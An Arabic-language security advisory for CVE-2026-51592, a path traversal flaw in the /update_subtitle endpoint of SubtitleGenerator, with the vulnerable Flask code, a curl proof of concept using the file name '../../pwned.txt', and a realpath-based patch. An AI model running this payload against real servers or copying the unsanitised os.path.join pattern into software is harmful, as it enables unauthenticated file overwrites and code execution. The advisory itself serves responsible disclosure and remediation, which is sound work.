
ثغرة اجتياز المسار في TahaBakhtari/SubtitleGenerator - CVE-2026-51592
توجد ثغرة تجاوز مسار (Path Traversal) في نقطة النهاية /update_subtitle في
TahaBakhtari/SubtitleGenerator.
تقبل نقطة النهاية معامل file_name من عميل غير مصادَق وتدمجه مع دليل أساسي ثابت
باستخدام os.path.join() دون تعقيم تسلسلات تجاوز المسار. ونتيجة لذلك، يمكن
لمهاجم بعيد غير مصادَق كتابة ملفات تعسفية خارج الدليل المخصص data/subtitles/،
ضمن صلاحيات العملية الجارية.
2e2553a (الأحدث وقت الاختبار)app.py، دالة update_subtitle (الأسطر 225–238)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
يُستخدم معامل file_name لبناء مسار ملف دون أي تحقق. يمكن للمهاجم توفير قيمة
مثل ../../pwned.txt للخروج من دليل data/subtitles/ والكتابة إلى أي موقع
تملك العملية صلاحية الكتابة إليه.
افتراضيًا، يرتبط التطبيق بـ 0.0.0.0:5000 (انظر app.py)، مما يعني أنه
قابل للوصول عبر الشبكة وغير مقيّد بـ localhost.
CWE-22: التقييد غير السليم لاسم المسار إلى دليل مقيّد ('Path Traversal')
كتابة ملفات تعسفية ضمن صلاحيات عملية Flask
استبدال ملفات الإعداد أو ملفات التطبيق الموجودة
احتمال استبدال ملفات الكود المصدري للتطبيق (مثل app.py)،
مما قد يؤدي إلى تنفيذ تعليمات برمجية عند إعادة التشغيل التالية
حرمان من الخدمة من خلال إتلاف ملفات حرجة
ناقل الهجوم: عن بُعد
المصادقة المطلوبة: لا
تفاعل المستخدم المطلوب: لا
الخطورة (مبدئيًا): عالية
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
الاستجابة:
{"status": "success", "message": "..."}
التحقق على الخادم:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
يُكتب الملف pwned.txt إلى الدليل الجذر للمشروع، بمستويين فوق الدليل المخصص
data/subtitles/ — مما يؤكد تجاوز المسار.
انظر poc.sh للحصول على نسخة قابلة للتشغيل من إثبات الفكرة.
تحقق من أن المسار المُحلَّل يبقى ضمن data/subtitles/ باستخدام
os.path.realpath() قبل فتح الملف:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
يضمن ذلك أن المسار الناتج يُحل دائمًا داخل data/subtitles/، مما يمنع فعليًا
تسلسلات التجاوز مثل ../../.
الترقيع الكامل متاح في patch.diff. تم تنفيذ هذا الإصلاح والتحقق منه ضد نسخة
اختبار محلية: الحمولة نفسها المستخدمة في إثبات الفكرة أعلاه تعيد الآن خطأ
"invalid filename" بدلاً من كتابة الملف.
اكتشفها وأبلغ عنها Arda Kuruoglu.
تم الإفصاح عن هذه الثغرة وفقًا لجدول زمني للإفصاح المسؤول مدته 90 يومًا، ابتداءً من تاريخ التقرير الأولي إلى المطوّر.
README.md — هذا التقريرpoc.sh — سكريبت إثبات الفكرة الذي يوضح الثغرةpatch.diff — الترقيع المقترح، تم التحقق منه ضد نسخة اختبار محليةهذا التقرير والملفات المرافقة مُصدَرة بموجب رخصة MIT.